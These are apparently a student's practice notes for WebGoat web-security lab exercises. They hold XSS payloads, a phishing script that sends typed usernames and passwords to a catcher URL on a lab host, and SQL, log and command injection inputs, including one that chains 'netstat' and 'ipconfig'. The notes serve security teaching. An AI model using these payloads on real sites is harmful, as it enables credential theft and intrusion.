---
# System prepended metadata

title: 2020.08.26實作

---

# 2020.08.26實作

## 練習一：Code Quality -> Discover Clues in the HTML
* 思考 View Souce 和 Inspect Element的差別


## 練習二：Parameter Tampering -> Exploit Hidden Fields 
* 使用Burp Suite這類 Proxy軟體，去攔截Request
    * 思考 GET 和 POST 區別
* 記得開啟IE Proxy設定

## 練習三：Cross-Site Scripting (XSS) -> Reflected XSS Attacks
* <script>alert('Activate XSS')</script> 

## 練習四：Cross-Site Scripting (XSS) -> Stored XSS Attacks
* <script>alert('User Information has been stolen')</script> 

## 練習五：Cross-Site Scripting (XSS) -> Stage1: Stored XSS Attacks
* 修改自己的Profile
* <script>alert('Link to malicious site')</script>


## 練習六：Cross-Site Scripting (XSS) -> Phishing with XSS

```
function hack(){
    alert("Login="+document.forms[0].user.value
      + "Password="+document.forms[0].pass.value);
    XSSImage=new Image;
    XSSImage.src="http://192.168.0.90:8080/webgoat/catcher"
      +"?PROPERTY=yes"
      +"&user="+document.forms[0].user.value
      +"&password="+document.forms[0].pass.value;
}


<form>
  <br><br><HR>
  <H3>This feature requires account login:</H3>
  <br><br>
  Enter Username:<br><input type="text" id="user" name="user"><br>
  Enter Password:<br><input type="password" name="pass"><br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>

<br><br><HR>


```


## 練習七：Injection Flaws  -> Log Spoofing
```
test%0aLogin succeeded for username:admin
```


## 練習八：Injection Flaws  -> Numeric SQL Injection
* 使用 Burp Suite 
```
101 or 1 = 1
```

## 練習九：Injection Flaws  -> String SQL Injection

```
Smith' OR '1'='1
```

## 練習十：Injection Flaws  -> Command Injection
```
& netstat -an & ipconfig
```

## 練習十一：Injection Flaws  -> Blind Numeric SQL Injection
```
101 AND True
101 AND ( ( SELECT pin FROM pins WHERE cc_number=1111222233334444 ) >1000 )
```